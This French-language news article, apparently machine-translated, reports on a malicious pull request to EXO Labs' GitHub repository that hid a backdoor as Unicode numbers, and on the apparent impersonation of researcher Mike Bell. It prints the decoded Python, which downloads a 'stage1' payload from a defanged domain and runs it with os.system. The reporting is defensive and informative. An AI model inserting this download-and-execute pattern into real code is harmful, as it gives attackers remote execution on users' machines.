Les projets GitHub ont été ciblés par des commits malveillants et des demandes d’extraction, dans le but d’injecter des portes dérobées dans ces projets.

Plus récemment, le référentiel GitHub d’Exo Labs, une start-up d’intelligence artificielle et d’apprentissage automatique, a été la cible de l’attaque, ce qui a laissé de nombreuses personnes s’interroger sur les véritables intentions de l’attaquant.

Un « PR à l’air innocent » surpris en train d’injecter une porte dérobée
Mardi, Alex Cheema, cofondateur d’EXO Labs, a averti tout le monde d’un changement de code « d’apparence innocente » soumis au référentiel GitHub d’EXO.

La pull request intitulée « clarifier l’exigence mlx pour les modèles deepseek » a tenté de modifier le models.py Fichier Python dans la base de code de l’Exo en y ajoutant une séquence de nombres:

Ce sont des nombres Unicode, chacun représentant un caractère. En d’autres termes, le code Python en texte brut a été converti en sa forme d’équivalent numérique via une technique simple employée par l’utilisateur soumettant le changement de code.

Cette séquence de caractères, « 105, 109, 112, 111, 114, 116,… »se traduit par l’extrait de code suivant (URL défilée pour des raisons de sécurité):

import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

Le morceau de code plutôt peu sophistiqué tente de se connecter à evildojo(.) com et, tel qu’il apparaît, téléchargez la charge utile « stage1 ».

Si le changement de code avait été approuvé et fusionné dans le référentiel officiel d’EXO, ce qui n’a pas été le cas, toute personne utilisant le produit pourrait finir par exécuter du code servi à distance par l’URL sur son système—et donc une porte dérobée fonctionnelle implantée.

Lorsqu’il est accédé par Breachtrace, cependant, le lien a renvoyé un 404 (introuvable), et selon plusieurs autres personnes qui ont essayé d’accéder à l’URL, aucun contenu n’a jamais existé à l’emplacement depuis le début.

Qui est derrière et pourquoi?
C’est là que ça devient délicat et il n’y a pas de réponse concluante en vue.

Le commit semble avoir été soumis par un utilisateur de GitHub, « evildojo666 », un compte qui a depuis été supprimé.

La page archivée pour le nom d’utilisateur GitHub et le domaine evildojo(.) com pointez Mike Bell, un chercheur en sécurité basé au Texas, un hacker éthique et un ingénieur logiciel qui a constamment nié avoir quoi que ce soit à voir avec ces commits.

Bell affirme que quelqu’un se fait passer pour lui, soumettant ces codes malveillants pour le salir.

Bell a en outre déclaré qu ‘ « il n’y a jamais eu de charge utile…pourquoi les gens continuent-ils à supposer qu’il y en avait? »

En toute justice, l’histoire de Bell s’additionne. N’importe qui peut trivialement créer un compte GitHub en utilisant les coordonnées et la photo de profil d’une autre personne, et commencer à soumettre des modifications de code et des demandes d’extraction à des projets — le tout sous le couvert d’une autre personne.

La page inexistante « stage1payload » sur le domaine d’evildojo est un autre indicateur que, puisque le domaine n’a jamais servi de code malveillant en premier lieu, il s’agit probablement d’une campagne de diffamation contre le propriétaire du domaine, Mike Bell.

Un autre compte GitHub maintenant supprimé « darkimage666 » a été identifié par Malcoreio, une plate-forme d’analyse de logiciels malveillants et de rétro-ingénierie. Ce compte usurpait également l’identité de Bell et semblait s’engager dans cet effort malveillant pour distribuer des commits de porte dérobée à des projets open source.

« Pas moi, un imitateur. Compte de notification supprimé. Je suis vraiment désolé que des gens soient entraînés dans du bœuf de dérapage avec moi », a fait remarquer Bell sur le compte de l’imposteur.

Plusieurs projets ciblés
Les utilisateurs de médias sociaux, y compris ChrzanKong, ont noté que d’autres projets avaient été ciblés par différents comptes d’utilisateurs GitHub avec des commits similaires.

Selon l’analyste des menaces intel vx-underground, « yt-dlp », un téléchargeur audio et vidéo open source populaire a également été ciblé. Malcore a identifié au moins 18 instances de demandes d’extraction identiques dirigées vers d’autres projets.

Au moment de la rédaction de cet article, Breachtrace a observé que de nombreux commits malveillants de ce type et les comptes d’utilisateurs GitHub « muppet » associés, dont certains semblent être basés en Indonésie, ont été supprimés.

Bogdan Stanga, ingénieur Google et responsable des événements techniques, a pu recréer la demande d’extraction pour tester le réviseur d’IA de Presubmit, qui utilise les actions GitHub pour effectuer des révisions instantanées du code par rapport aux demandes d’extraction entrantes dans votre référentiel. La modification du code de test a été immédiatement signalée par une alerte de « sécurité critique » par l’examinateur:

Presubmit AI reviewer détecte des PR malveillants similaires

L’incident, bien qu’il ait été détecté et écrasé très tôt, fait écho à la remarquable attaque de la chaîne d’approvisionnement xz qui a récemment démontré comment du code malveillant pouvait être introduit dans des bibliothèques open source légitimes et très populaires par des acteurs néfastes.

Les responsables de projets open source sont invités à examiner attentivement les demandes d’extraction entrantes, via des outils automatisés et des révisions approfondies du code humain, même si celles-ci semblent provenir de contributeurs de « bonne foi ».

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *